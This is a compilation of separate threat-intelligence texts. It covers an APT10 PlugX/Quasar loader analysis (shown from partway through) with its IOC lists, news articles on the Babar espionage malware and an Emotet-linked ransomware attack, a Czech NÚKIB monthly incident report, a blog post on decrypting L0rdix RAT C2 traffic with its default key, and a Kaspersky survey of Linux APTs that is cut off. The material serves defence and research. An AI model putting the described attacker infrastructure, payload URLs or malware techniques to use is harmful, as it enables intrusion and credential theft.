In our analysis, the conhost.exe that was downloaded is itself another downloader written in .NET and disguised as a legitimate system executable. This extremely simplified downloader only has the ability to download and execute a base-64 encoded executable from the hardcoded address using a simple System.Net.WebClient HTTP request: ffca[.]caibi379[.]com/rwjh/qtinfo.txt. The downloaded payload is a modified Quasar RAT. This version contains the addition of SharpSploit to extract passwords from a victim’s machine using the framework’s built-in mimikatz capabilities.
Examining the sample’s configuration, we found the following:
- C&C server: cahe.microsofts.org:443
- Mutex name: “QSR_MUTEX_rSifQNOVTwHrsBs2nd”
- A self-signed certificate issued to “MSGQ Server CA”
### PlugX
Following the injection to svchost.exe by the loader, the shellcode decrypts another part of itself and uses RtlDecompressBuffer API to further unpack the PlugX DLL. The DOS and NT header’s magic values, MZ and PE respectively, were replaced with VX, a typical behavior for PlugX payloads. This is meant to prevent security products and automated tools from identifying the executable headers when performing memory scans. Like previous versions of PlugX, it collects information about the infected machine, such as the computer name, username, OS version, RAM usage, network interfaces, and resources.
In an attempt to generate noise around allocation and release of memory by the malware, the authors wrapped it with dummy calls to the GetForegroundWindow API function. This sample shares some similarities with the Paranoid PlugX variant. For example, it goes a long way to completely remove any sign of McAfee’s email proxy service from the infected machine. Besides killing the process, it also makes sure to delete any related keys in the registry and recursively deletes any related files and directories on the machine. The same behavior was observed by the paranoid variant as part of a VBScript that the dropper runs.
Typically, APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain. In the configuration bundled to the samples, we found the following:
- The sample in the first loader communicates with update[.]microsofts[.]org with DNS over TCP.
- The sample in the second loader communicates with update[.]kaspresksy[.]com over HTTPS.
## Threat Intelligence
When examining the first loader variant’s domain (ffca[.]caibi379[.]com), we discovered that it resolved to the following IP addresses according to VirusTotal:
| Date Resolved | IP |
|---------------|----|
| 2019-04-24 | 27.102.128.157 |
| 2019-03-23 | 27.102.127.80 |
| 2019-01-30 | 27.102.127.75 |
While all the IP address ranges are listed under the name of an organization located in South Korea, the domain itself was registered in Hong Kong. Reverse lookup on the IP addresses shows that some of them used to be resolved from another domain - *[.]microsofts[.]org. As mentioned before, cahe.microsofts.org is the command and control server for the Quasar payload, and update.microsofts.org is used for the PlugX payload delivered by the first loader variant.
The PlugX’s domains resolve to the following addresses:
| Date Resolved | IP |
|---------------|----|
| 2019-04-27 | 27.102.66.67 |
| 2019-02-19 | 27.102.115.249 |
| 2019-03-15 | 27.102.127.80 |
While looking at the other subdomains of kaspresksy[.]com, we discovered that:
- download[.]kaspresksy[.]com resolves to 27.102.113.118
- api[.]kaspresksy[.]com resolves to 27.102.114.246
27.102.114.246 used to previously resolve from the following domains:
- smsapi[.]tencentchat[.]net
- onedrive[.]miscrosofts[.]com
We noticed a password-protected zip named “Chrome_Updata” being associated with the download[.]kaspresksy[.]com domain. The zip contained a sample of the Poison Ivy malware, which is also known to be used by APT10. The same executable was also seen communicating with 27.102.115.249, which also appeared to be mapped to update[.]kaspresksy[.]com. All of the overlaps in the network infrastructure make it very reasonable to assume that the same group is operating both variants.
## Conclusion
Both variants of the loader implement the same decryption and injection mechanism. Looking at the history of APT10, one can notice major similarities in the details we highlighted in this post:
- A bundle of legitimate executables are used to sideload a custom DLL, along with storing the payload in a separate, encrypted file.
- Use of typosquatting domain names similar to real, legitimate tech companies.
- Unique malware families both developed by, and associated with, the group.
- Using C&C servers located in South Korea.
Some of the mentioned domain mappings were recently updated. Also, the certificate embedded in the Quasar sample was issued at 22.12.2018, which correlates with the file’s compilation date. This may indicate that these samples are a part of a testing environment or a short-lived attack that is already finished. Either way, it’s safe to say that the threat actor behind APT10 is still active and that we have yet to see the last of the group.
## IOCs
**Loader v1:**
- 41542d11abf5bf4a18332e9c4f2c8d1eb5c7e5d4298749b610d86caaa1acb62c (conhost.exe downloader jli.dll)
- 29b0454db88b634656a3fc7c36f318b126a83ae8fb7f73fe9ff349a8f8536c7b (conhost.exe downloader svchost.bin)
- 02b95ef7a33a87cc2b3b6fd47db03e711045974e1ecf631d3ba9e076e1e374e9 (PlugX jli.dll)
- e0f91da52fdc61757f6a3f276ae77b01d2d1cc4b3743629c5acbd0341e5de80e (PlugX svchost.bin)
**Loader v2:**
- f13536685206a94a8d3938266f100bb2dffa740a202283c7ea35c58e6dbbb839 (PlugX jli.dll)
- c8d86e9f486d23285b744279812ef9047a0908e39656c2ea4cdf3e182f80e11d (PlugX svchost.bin)
**.NET Downloader (conhost.exe):**
- 96649c5428c874f2228c77c96526ff3f472bc2425476ad1d882a8b55faa40bf5
**Quasar RAT:**
- 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded
**Domains:**
- update[.]kaspresksy[.]com
- download[.]kaspresksy[.]com
- api[.]kaspresksy[.]com
- ffca[.]caibi379[.]com
- update[.]microsofts[.]org
- ppit[.]microsofts[.]org
- cahe[.]microsofts[.]org
**IP Addresses:**
- 27.102.128.157
- 27.102.127.80
- 27.102.127.75
- 27.102.66.67
- 27.102.115.249
## Solutions
The FortiEDR platform is capable of detecting this threat on both pre-execution and post-execution. The Webfiltering service categorized all the network IOCs as malicious. |
# Meet Babar, a New Malware Almost Certainly Created by France
The NSA, GCHQ, and their allies in the Five Eyes are not the only government agencies using malware for surveillance. French intelligence is almost certainly hacking its targets too—and now security researchers believe they have proof.
On Wednesday, the researchers will reveal new details about a powerful piece of malware known as "Babar," which is capable of eavesdropping on online conversations held via Skype, MSN, and Yahoo messenger, as well as logging keystrokes and monitoring which websites an infected user has visited. Babar is "a fully blown espionage tool, built to excessively spy" on its victims, according to the research, which Motherboard reviewed in advance. The researchers are publishing two separate but complementary reports that analyze samples of the malware and all but confirm that France's spying agency, the General Directorate for External Security (DGSE), was responsible for its creation. France's Defense Ministry did not respond to a request for comment by the time of publication.
"European nations are just as capable as the US and Russia to take their espionage efforts to cyberspace," Marion Marschalek, an Austrian researcher at Cyphort and author of one of the reports, told Motherboard. "France is just as active as the other big players."
"Babar is a popular French children's television show."
Marschalek analyzed the malware samples with Paul Rascagneres, a malware analyst at security firm G DATA, and Joan Calvet, a researcher from anti-virus maker ESET. Initial hints at Babar's existence were first revealed last March, when a document leaked by Edward Snowden described a 2009 spying operation dubbed SNOWGLOBE. According to the Canadian intelligence agency Communications Security Establishment (CSE), which discovered the operation, SNOWGLOBE mainly targeted Iran's nuclear program but also hit victims in European countries such as Greece and Spain.
The operation used malware the attackers named "Babar," and CSE concluded with "moderate certainty" that SNOWGLOBE was a hacking operation carried out by "a French intelligence agency." The researchers believe this was a previous version of the Babar malware they have analyzed. The precise capabilities of that old version are unclear.
After Le Monde published the CSE document describing SNOWGLOBE and Babar, the researchers said they obtained a series of malware samples, or binaries, that belonged to the same attackers and are from the same "family" as the malware described in the document. Marschalek said that another researcher who preferred not to be named suggested that copies of the malware had been uploaded to VirusTotal, an online malware detection service.
Though their analysis didn't uncover any new evidence implicating France, the two reports confirm many of the details contained within CSE's document, according to the researchers. "I'm sure [it was France], but proving this publicly is close to impossible," Marschalek told Motherboard via instant message. "With binary attribution you generally have the problem, unlike in real crime scenes, you do not have actual evidence. There are indicators, from which conclusions can be drawn, but anything that serves as something like a digital fingerprint can be faked in the end."
The first clue is the malware's name. The CSE document identified the malware's "internal name" as Babar—which happens to be the name of an elephant from a popular series of French children's books. The sample analyzed by Marschalek and Rascagneres was named Babar64. Babar also communicated with the same servers as two other hacking tools, EvilBunny and TFC—which the researchers believe were also created by the French—and those servers hosted French language websites.
Yet another clue is a simple typo. According to the CSE document, the author of the Babar malware misspelled a string in the code. Instead of writing MSIE, the author wrote MSI. That same mistake is contained in the code of Babar64 and EvilBunny.
All these breadcrumbs are "unique properties" that show that the malware analyzed by Marschalek, Rascagneres, and Calvet is likely associated with the one described in the CSE document, according to Morgan Marquis-Boire, a former Google security researcher who's now director of security for First Look Media.
These reports represent "an important step" in understanding the hacking capabilities of Western nations that are not members of the Five Eyes. While Babar might not be as sophisticated as the GCHQ malware campaign REGIN, or the newly-revealed NSA campaign, it's still "high-quality," Marquis-Boire told Motherboard. "There's different strata of players in the nation-state cyber espionage arena," said Marquis-Boire, who has reviewed the report. "There's a lot of really, really badly written malware. Here there's the quality you could expect from a nation that has a large military industrial complex."
According to Marschalek, Babar is not "very sophisticated," but is highly targeted and a "very good software, above the level of what kind of 'products' a malware analyst gets to see on a daily basis."
In other words, it seems we have evidence that France is in the hacking business now, too. |
# Emotet Trojan Implicated in Wolverine Solutions Ransomware Attack
The notorious Emotet trojan has been linked to a ransomware attack against Wolverine Solutions Group (WSG) that resulted in the personal data of potentially hundreds of thousands of US healthcare patients being compromised. Detroit-based WSG, which provides IT, printing, and logistics services for health-related business clients, fell victim to a ransomware attack on September 25, 2018. It eventually paid, and over the last week new details have emerged about the techniques and tactics of the attackers, which featured the deployment of Emotet—a trojan usually delivered through traditional phishing emails.
An alert posted on the company’s website detailed how the malware encrypted many of WSG’s records, making them inaccessible unless it caved in to the attackers’ ransom demands. Ransomware is not commonly associated with data breaches, and WSG said there is currently no indication that any data was extracted from the firm’s servers. However, given the nature of the files (some of which contained sensitive patient information), WSG has been busy informing all impacted individuals of the incident—a task made all the more difficult given the company’s position as a third-party service provider.
“The final count of healthcare clients and their affected individuals has not yet been finalized, but the number of covered entities and their sub-entities would be in the high 100s and the number of affected individuals would be in the high six-figures,” WSG president Darryl English told The Daily Swig via email this week. The patients and customers of a number of Michigan-based healthcare organizations have already been revealed as potentially impacted by the malware outbreak. These organizations include healthcare providers Three Rivers Health and Blue Cross Blue Shield, along with healthcare insurer Health Alliance Plan.
## Emotet: From Banking Trojan to Ransomware Loader
While the WSG president said certain information related to the incident remains confidential as it is part of an ongoing HHS/OCR investigation, he did provide a few additional technical details in relation to the attack. “The strain of malware that impacted WSG’s network was the trojan Emotet,” English told The Daily Swig. Those familiar with Emotet will know it is primarily associated with looting online banking accounts. US-CERT describes Emotet as “an advanced, modular banking trojan that primarily functions as a downloader or dropper of other banking trojans.”
However, WSG’s confirmation that Emotet was used to push ransomware onto its network comes just two months after security firms CrowdStrike and Kryptos Logic separately confirmed that the trojan had been implicated in Ryuk ransomware attacks. In its 2019 State of Malware report, Malwarebytes said it expected to see Emotet/Trickbot combo malware impacting not just the banking, but also the education, government, manufacturing, and healthcare sectors throughout the year.
“Originally a banking trojan, Emotet has evolved over the years to become a loader as a service, although mostly keeping up with banking and stealer families as well,” explains Jérôme Segura, head of threat intelligence at Malwarebytes. “There were some noteworthy attacks where Emotet was found to be at the root cause of ransomware infections, in particular by working with Trickbot actors. Malware distributors willing to deliver their payload are always looking for the best ways to do so. Emotet campaigns have a wide reach with daily onslaught of maliciously crafted documents using social engineering to deliver the malware.”
“For this reason, partnerships with Emotet and its wide botnet are a great way to achieve this malware delivery goal.” When it comes to protecting against Emotet-based attacks, Segura said: “The risk is greater for businesses than consumers, but there are many steps that can be taken to mitigate it. System administrators can disable Office macros and harden endpoint security. Since social engineering plays a big part in the majority of these campaigns, training staff on recognizing malicious emails is also a big step towards protecting an organization.”
The Daily Swig asked WSG for further details relating to the ransomware strain that impacted its systems, via Emotet, thus far without any further information. Regardless of the particular strain of ransomware that was involved in this latest attack, English confirmed the company did eventually submit to the attackers’ demands. “Ultimately, a ransom was paid,” he said. |
# Cyber Security Incidents from the NÚKIB’s Perspective
## Summary of the Month
April was a month with the second highest number of incidents in the last twelve months. Compared to the previous months, the number of organisations that notified NÚKIB about an incident has grown by one-fifth. The growth in the number of incidents was mainly caused by a campaign led by a pro-Russian hacktivist group known as Killnet. NÚKIB was notified about associated cyber incidents by seven organisations. The attacks were generally less sophisticated, causing the unavailability of web pages. The group did not compromise the information systems of their targets and hence did not access the data stored in them. It is likely that Killnet’s motivation was to harm the reputation of its targets. The attacks are likely to be associated with the Czech Republic’s support to Ukraine. Killnet is a Russian-speaking group and based on its statements, supports the Russian Federation. Since the beginning of the invasion, the group has attacked not only organisations and governmental institutions in the Czech Republic but also other NATO states and Ukraine. The DDoS attacks in partner states coincided with important events, typically military or humanitarian support to Ukraine. The attacks in the Czech Republic were no exception in this regard.
The following report summarises the events of the month. The data, information and conclusions contained herein are primarily based on cyber incidents reported to NÚKIB. Where the report contains information from open sources in some sections, the source of this information is always stated.
## Number of Cyber Security Incidents Reported to NÚKIB
April was a month with the second highest number of incidents in the last twelve months, only surpassed by November when the ProxyShell vulnerability was actively abused.
## Severity of the Handled Cyber Incidents
Two-thirds of April’s incidents had significant impacts. They were mainly caused by DDoS attacks, which targeted important state institutions, and ransomware, which attacked smaller non-regulated entities.
## Classification of the Incidents Reported to NÚKIB
NÚKIB classified April’s incidents within the following four categories:
- Three-quarters of all the incidents resulted in the unavailability of services. Seven of these incidents were caused by DDoS attacks, which had only represented a minor part of the incidents reported to NÚKIB in the preceding months. Ransomware and cryptomining malware had adverse effects on availability in five cases; in three incidents, the service unavailability was caused by a technical failure.
- The second most frequent category included incidents with unauthorised access to information. One of them was an attack against a local authority’s database, whose content the attackers stole. The attackers have not published the data so far; nevertheless, its publishing cannot be ruled out in the near future.
- NÚKIB classified one attack as fraud. The attackers probably compromised an e-mail account of an important state institution’s employee. Subsequently, they sent phishing e-mails with a diplomatic theme from the e-mail account to governmental organisations in other European countries.
- The last remaining April’s incident was classified by NÚKIB within the malicious code category after NÚKIB had found elements of a Czech company’s infrastructure communicating with Emotet malware control servers.
## April Trends in Cyber Security from the NÚKIB’s Perspective
### Phishing, Spear-Phishing, and Social Engineering
One of April’s incidents involved an intercepted phishing e-mail that the attackers were sending from an infected e-mail of a state organisation’s employee. The phishing had a diplomatic theme and was sent from the Czech e-mail address to nearly 200 addresses of governmental organisations in European countries. As fraudulent vishing phone calls continue, NÚKIB drew attention to this campaign again.
### Malware
Within the scope of its pro-active activities (known as threat hunting), NÚKIB uncovered an infrastructure of a Czech company that communicated with Emotet C2 servers. Attackers deploy Emotet as a first stage payload, which is often spread by phishing. Upon compromising the victim’s network, Emotet downloads other malware. Emotet is currently active in the Czech Republic. Since last autumn, when Emotet re-appeared on the cybersecurity scene, NÚKIB has been finding Czech companies infected with this malware.
### Ransomware
Since the beginning of the year, ransomware attacks have constantly amounted to approximately one-fifth of the incidents registered by NÚKIB. This trend continued in April. The Phobos ransomware was behind the majority of attacks. Phobos primarily aims at smaller and more vulnerable targets. It regularly appears among the incidents reported to NÚKIB. One of April’s incidents also involved LokiLocker, which is quite a new ransomware offered as a service; it started to spread in the summer of 2021, and this was its second occurrence reported to NÚKIB so far.
### Attacks on Availability
In the last twelve months, DDoS attacks had only represented a minor part of the incidents registered by NÚKIB. The situation changed in April, though. More than one-third of the incidents were caused by DDoS attacks launched against Czech targets by Killnet, a pro-Russian hacker group. In some cases, DDoS attacks took down web pages for several hours. NÚKIB was notified about such incidents by seven organisations regulated under the Cyber Security Act; however, the actual number of Killnet’s Czech victims was approximately three times higher.
## Technique of the Month: Malicious File
NÚKIB also evaluates cyber incidents on the basis of the MITRE ATT&CK framework, which serves as an overview of known techniques and tactics used in cyber attacks. The prevailing method among April’s incidents was Malicious File, which is a method employed by most APT and cybercriminal groups in their campaigns and which is a common part of phishing attacks.
With Malicious File, attackers rely on a user to open a file and run the malicious code. This method is typical for spear-phishing e-mails, for example, which try to persuade the user to open an infected attachment and thereby launch the malicious code hidden in it. Among April’s incidents, the Malicious File method was most often reported in connection with phishing.
## Focus on a Threat: DDoS Campaign Launched by Killnet
In the second half of April, a pro-Russian hacker group known as Killnet launched two series of DDoS attacks against webpages of Czech subjects. The attacks are likely connected to the Czech Republic’s support to Ukraine. The first wave occurred between 19 and 21 April and affected thirteen subjects, including NÚKIB and Czech Ministries. The second wave took place in the night of 27 April, when the attackers launched attacks against another nine subjects. Killnet announced the initiation of the attacks against Czech organisations on its Telegram account.
The attacks were generally less sophisticated, causing the unavailability of web pages. In principle, DDoS attacks overwhelm a service accessible via the Internet with a flood of traffic but do not compromise the organisation’s information systems. Consequently, Killnet did not get to the data stored in the attacked organisations. Its goal probably was to harm the reputation of the attacked organisations.
## Probability Terms Used
Probability terms and expression of their percentage values:
| Term | Probability |
|--------------------------|---------------|
| Almost certain | 90–100 % |
| Highly likely | 75–85 % |
| Likely | 55–70 % |
| Realistic probability | 25–50 % |
| Unlikely | 15–20 % |
| Highly unlikely | 0–10 % |
## Conditions for the Information Use
The information provided shall be used in accordance with the Traffic Light Protocol methodology. The information is marked with a flag, which sets out conditions for the use of the information. The following flags are specified that indicate the nature of the information and the conditions for its use:
- **TLP:RED** - Recipients may not share TLP:RED information with any parties outside of the specific exchange, meeting, or conversation in which it was originally disclosed.
- **TLP:AMBER** - Recipients may only share TLP:AMBER information with members of their own organisation, and with clients or customers who need to know the information to protect themselves or prevent further harm.
- **TLP:GREEN** - Recipients may share TLP:GREEN information with peers and partner organisations within their sector or community, but not via publicly accessible channels.
- **TLP:WHITE** - Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. |
# Decrypting L0rdix RAT’s C2
In my previous blog post on L0rdix RAT, I took a look at its panel and builder components that have been circulating through underground forums recently. As part of that analysis, I identified a key (“3sc3RLrpd17”) which was embedded in one of the PHP pages in L0rdix’s panel. A SHA-256 hash is calculated of this key, which is used as the AES key to encrypt and decrypt L0rdix’s command and control (C2) communications. When a sample is generated using L0rdix’s builder, the operator is able to decide this key.
In this post, I examine L0rdix’s C2 encryption and decryption functions in more detail and discuss how to automate the task of identifying, decrypting and extracting L0rdix C2 traffic from a PCAP using Python.
## L0rdix’s configuration structure
L0rdix’s configuration contains 10 fields, which are encrypted and sent as URL query strings in a HTTP POST request to the connect.php page of the panel. The configuration settings of deployed bots are updated by sending similar POST requests to the bots from the panel.
| Query String | Configuration Field |
|--------------|------------------------------|
| h= | Hardware ID |
| o= | Operating system |
| c= | CPU |
| g= | GPU |
| w= | Installed antivirus |
| p= | Privileges of current user |
| r= | Hash rate |
| f= | L0rdix profile in use |
| rm= | RAM |
| d= | Drives |
## L0rdix C2 encryption and decryption steps
L0rdix encrypts its C2 communications using the following steps:
1. Encrypts the plaintext using AES in Cipher Block Chaining (CBC) mode with a 256-bit key and 16-byte initialisation vector (IV).
2. Base64 encodes the ciphertext.
3. Replaces plus (+) characters with tildes (~).
4. URL encodes the ciphertext.
For example, the ciphertext of “Windows 7 Enterprise” looks like this:
`buNpZksa9PSEshjHiM9XNI84ku2X6Zy2Syr7zdzvxMM%3d`
We can decrypt the ciphertext by performing the encryption actions in reverse:
`buNpZksa9PSEshjHiM9XNI84ku2X6Zy2Syr7zdzvxMM=` (After URL decoding)
`6ee369664b1af4f484b218c788cf57348f3892ed97e99cb64b2afbcddcefc4c3` (Hex representation after Base64 decoding)
`Windows 7 Enterprise` (After AES decryption)
## Default key or single operator
After analysing more L0rdix samples in the wild, it became clear that many of them use the key found in the leaked panel to encrypt their C2 channels. There are two realistic possibilities for the re-occurrence of this key:
1. “3sc3RLrpd17” is the default key that the RAT panel is supplied with from its author and several buyers have not changed it.
2. The L0rdix samples that use this key are bots controlled by a single operator. Based on the implementation of the encryption and decryption functions, each L0rdix panel operator must use the same key for every bot they control.
There is stronger evidence to indicate that the first possibility is true. For instance, the key is referenced in a coding tutorial on how to encrypt and decrypt data using AES in C# and PHP. L0rdix’s server side encryption and decryption functions closely resemble those in the tutorial, sharing the method (AES-CBC 256), IV (16 null bytes), key (“3sc3RLrpd17”) and programming languages used (C# and PHP). L0rdix’s author may have copied the tutorial’s encryption implementation and decided not to change the key.
## Automating L0rdix C2 decryption with decrypt_l0rdix_c2.py
Since L0rdix uses symmetric key encryption, it was possible to write a Python script (decrypt_l0rdix_c2.py) to parse a PCAP containing L0rdix C2 traffic and decrypt it. The script first identifies L0rdix traffic based on its expected structure by parsing a PCAP using the Pyshark library. For example, since L0rdix has 10 fields in its configuration, there should be at least 10 query strings in a L0rdix C2 URL. The query strings are identified and decoded into a ciphertext before being run through an AES decryption function using the Pycryptodome library.
The script also extracts screenshots that L0rdix RAT periodically takes of infected systems. The traffic is decrypted using the suspected default operator key (“3sc3RLrpd17”), or a user supplied key using the optional -k argument. You can extract the operator key from a L0rdix bot using static analysis. If a L0rdix operator has not changed the operator key from the default one, any captured C2 traffic between their bots and the admin panel can be decrypted using decrypt_l0rdix_c2.py.
Figures show the output from running the script against L0rdix C2 traffic:
`decrypt_l0rdix_c2.py -p l0rdix_c2.pcap`
Tags: decryption, l0rdix, python |
# An Overview of Targeted Attacks and APTs on Linux
## Introduction
Perhaps unsurprisingly, a lot has been written about targeted attacks on Windows systems. Windows is, due to its popularity, the platform for which we discover most APT attack tools. At the same time, there’s a widely held opinion that Linux is a secure-by-default operating system that isn’t susceptible to malicious code. It’s certainly true that Linux hasn’t faced the deluge of viruses, worms, and Trojans faced by those running Windows systems over the years. However, there is certainly malware for Linux – including PHP backdoors, rootkits, and exploit code. Moreover, numbers can be misleading. The strategic importance of servers running Linux makes them an attractive target for attackers of all kinds. If an attacker is able to compromise a server running Linux, they not only gain access to data stored on the server but can also target endpoints connected to it running Windows or macOS – for example, through a drive-by download. Furthermore, Linux computers are more likely to be left unprotected, so that such a compromise might well go unnoticed. When the Heartbleed and Shellshock vulnerabilities were first reported in 2014, two major concerns were that compromised Linux servers could become an attacker’s gateway into a corporate network and could give an attacker access to sensitive corporate data.
The Global Research and Analysis Team (GReAT) at Kaspersky publishes regular summaries of advanced persistent threat (APT) activity, based on the threat intelligence research discussed in greater detail in our private APT reports. In this report, we focus on the targeting of Linux resources by APT threat actors.
## Barium
We first wrote about the Winnti APT group (aka APT41 or Barium) in 2013, when they were targeting mostly gaming companies for direct financial profit. Meanwhile, they grew their operations, developed tons of new tools, and went for much more complex targets. MESSAGETAP is Linux malware used by this group to selectively intercept SMS messages from the infrastructure of telecoms operators. According to FireEye, the group deployed this malware on SMS gateway systems as part of its operations to infiltrate ISPs and telecoms companies in order to build a surveillance grid.
Recently, we discovered another suspected Barium/APT41 tool, written in the programming language Go (also known as Golang) that implements a dynamic, C2-controlled packet corruption/network attack tool for Linux machines. Although it’s not 100% clear if this is a tool developed for system administration tasks or if it is also part of the APT41 toolset, the fact that the functionality it offers can also be achieved through other system management tools suggests that its purpose may not be legitimate. Also, its name on disk is rather generic and is unrelated to its functionality, again suggesting that it is potentially a covert tool used for carrying out certain types of destructive attacks.
## Cloud Snooper
In February 2020, Sophos published a report describing a set of malicious tools it attributes to a previously unknown threat actor called Cloud Snooper. The centerpiece is a server-oriented Linux kernel rootkit that hooks netfilter traffic control functions in order to enable firewall-traversing covert C2 (command-and-control) communications. We analyzed and described the rootkit’s userland companion backdoor, dubbed ‘Snoopy’, and were able to design detection and scanning methods to identify the rootkit at scale. We also discovered more samples, as well as targeted servers in Asia. We believe that this evolved toolset might have been in development since at least 2016.
## Equation
We uncovered the Equation group in 2015. This is a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. For many years this threat actor interacted or worked together with other powerful APT groups, for projects such as Stuxnet and Flame. The group has a powerful arsenal of implants. Among those we found were: ‘EQUATIONLASER’, ‘EQUATIONDRUG’, ‘DOUBLEFANTASY’, ‘TRIPLEFANTASY’, ‘FANNY’, and ‘GRAYFISH’. The innovations of the Equation group aren’t limited to the Windows platform. The group’s POSIX-compliant codebase allows for parallel developments on other platforms. In 2015, we came by the early-stage DOUBLEFANTASY malware for Linux. This implant collects system information and credentials and provides generic access to an infected computer. Given the role this module plays in the infection lifecycle, it would suggest the presence of analogous later-stage, more sophisticated implants, although we weren’t able to find any.
## HackingTeam
HackingTeam was an Italian information technology company that developed and sold intrusion and so-called “legal surveillance software” to governments, law enforcement agencies, and businesses around the world. Unfortunately for them, they were hacked and suffered a data breach in 2015, at the hands of the activist known as Phineas Phisher. The subsequent leak of 400GB of stolen company data, including source code and customer information, allowed these tools to be acquired, adapted, and used by threat actors around the world, such as DancingSalome (aka Callisto). The leaked tools included a zero-day exploit for Adobe Flash (CVE-2015-5119) as well as sophisticated platforms capable of providing remote access, keylogging, general information recording and exfiltration, and perhaps most notably, the ability to retrieve Skype audio and video frames directly from memory, bypassing stream encryption. The RCS (Remote Control System) malware (aka Galileo, Da Vinci, Korablin, Morcut, and Crisis) includes multiple components, including desktop agents for Windows, macOS, and, perhaps unsurprisingly, Linux.
## Lazarus
In late 2018, we discovered a previously unknown malicious framework that we named MATA internally. This framework was used to target commercial companies in Korea, India, Germany, and Poland. While we weren’t able to find code overlaps with any other known actor, the Kaspersky Threat Attribution engine showed code similarities with Manuscrypt, complex malware used by Lazarus (aka Hidden Cobra). This framework, as with earlier malware developed by Lazarus, included a Windows backdoor. However, we also found a Linux variant that we believe was designed for networking devices. In June 2020, we analyzed new macOS samples linked to Lazarus Operation AppleJeus and TangoDaiwbo campaigns, used in financial and espionage attacks. The samples had been uploaded to VirusTotal. The uploaded files also included a Linux malware variant that included similar functionality to the macOS TangoDaiwbo malware. These samples confirm a development that we had highlighted two years earlier – that the group was actively developing non-Windows malware.
## Sofacy
Sofacy (aka APT28, Fancy Bear, STRONTIUM, Sednit, and Tsar Team) is a highly active and prolific APT threat actor. From its high-volume zero-day deployment to its innovative, broad malware set, Sofacy is one of the top groups that we monitor. Among the tools in the group’s arsenal is SPLM (also known as CHOPSTICK and XAgent), a second-stage tool used selectively against targets around the world. Over the years, Sofacy has developed modules for several platforms, including, in 2016, modules for Linux, detected as ‘Fysbis’. The consistent artifacts seen over the years and across Windows, macOS, iOS, and Linux suggest that the same developers, or a small core team, is modifying and maintaining the code.
## The Dukes
The Dukes is a sophisticated threat actor that was first documented by us in 2013, but whose tools have been used in attacks dating back to 2008. The group is responsible for attacks against targets in Chechnya, Ukraine, Georgia, as well as western governments and NGOs, NATO, and individuals – the group is thought to be behind the hack of the Democratic National Congress in 2016. The Dukes’ toolset includes a comprehensive set of malware implementing similar functionality but coded in several different programming languages. The group’s malware and campaigns include PinchDuke, GeminiDuke, CosmicDuke, MiniDuke, CozyDuke, OnionDuke, SeaDuke, HammerDuke, and CloudDuke. At least one of these, SeaDuke, includes a Linux variant.
## The Lamberts
The Lamberts is a highly sophisticated threat actor group known to possess a huge malware arsenal, including passive, network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers for carrying out destructive attacks. We created a color scheme to distinguish the various tools and implants used against different victims around the world. In 2017, we published an overview of the Lamberts family; and further updates (GoldLambert, SilverLambert, RedLambert, BrownLambert) are available to customers of our threat intelligence reports. The focus of the various Lamberts variants is definitely Windows. Nevertheless, signatures that we created for Green Lambert for Windows also triggered on a macOS variant of Green Lambert that was functionally similar to the Windows version. In addition, we also identified samples of the SilverLambert backdoor compiled for both Windows and Linux.
## Tsunami Backdoor
Tsunami (aka Kaiten) is a UNIX backdoor used by multiple threat actors since it was first seen in the wild in 2002. The source code was made public some years ago; and there are now more than 70 variants. The source code compiles smoothly on a wide range of embedded devices; and there are versions for ARM, MIPS, Sparc, and Cisco 4500/PowerPC. Tsunami remains a threat for Linux-based routers, DVRs, and the increasing number of IoT (internet of things) devices. In 2016, a variant of Tsunami was used in the Linux Mint hack, where an unknown threat actor compromised the Linux Mint distribution ISOs to include a backdoor. We also observed the use of the Tsunami backdoor to surgically target a number of cryptocurrency users on Linux.
## Turla
Turla (aka Uroboros, Venomous Bear, and Waterbug) is a prolific Russian-speaking group known for its covert exfiltration tactics such as the use of hijacked satellite connections, water-holing of government websites, covert channel backdoors, rootkits, and deception tactics. This threat actor, like other APT groups, has made significant changes to its toolset over the years. Until 2014, every malware sample used by Turla that we had seen was designed for 32- or 64-bit versions of Windows. Then in December 2014, we published our report on Penguin Turla, a Linux component in the Turla arsenal. This is a stealth backdoor that didn’t require elevated privileges, i.e., administrator or root rights. Even if someone with limited access to the system launches it, the backdoor can intercept incoming packets and run commands from the attackers on the system while maintaining stealth. It is also rather hard to uncover, so if it’s installed on a compromised server, it could sit there unnoticed for a long time. Further research on Penguin Turla revealed that its roots stretch back to the Moonlight Maze operation in the mid-1990s. In May this year, researchers from Leonardo published a report about Penguin_x64, a previously undocumented variant of the Penguin Turla Linux backdoor. Based on this report, we generated network probes that detect Penguin_x64 infected hosts at scale, allowing us to discover a couple dozen infected servers in Europe and the US, as recent as July 2020. We believe that, following public documentation of GNU/Linux tools, Turla may have been repurposing Penguin to conduct operations other than traditional intelligence gathering.
## Two-Sail Junk
In January 2020, a watering hole was discovered that utilized a full remote iOS exploit chain to deploy a feature-rich implant named LightSpy. The site appears to have been designed to target users in Hong Kong, based on the content of the landing page. For the time being, until we can link the campaign to a known group, we have given the name Two-Sail Junk to the threat actor behind this implant. However, while our public report focused on the iOS implant, the project is broader than previously thought, supporting an Android implant, and probably supporting implants for Windows, Linux, and macOS.
## WellMess
In March 2020, we began to actively track new C2 servers associated with malware commonly referred to as WellMess, indicating a potentially massive new wave of activity. This malware was initially documented by JPCERT in July 2018 and has been sporadically active since then. There were rumors that hint at a possible connection with CozyDuke (aka APT29), along with speculation that the current activity was focused on the healthcare industry, although we were unable to verify either claim. WellMess is a Remote Access Trojan, written in .NET and Go (Golang), cross-compiled to be compatible with both Windows and Linux.
## WildNeutron
We first published about WildNeutron in 2015, together with our colleagues from Symantec, who call it Morpho or Butterfly. This group, which rose to prominence with their 2012-2013 attacks on Twitter, Microsoft, Apple, and Facebook, are one of the most elusive, mysterious, and dynamic we have seen. Their arsenal included many interesting and innovative tools, such as LSA backdoors or IIS plugins, coupled with both zero-day-based and physical deployment. Unsurprisingly, in several known attacks, WildNeutron used a custom Linux backdoor as well.
## Zebrocy
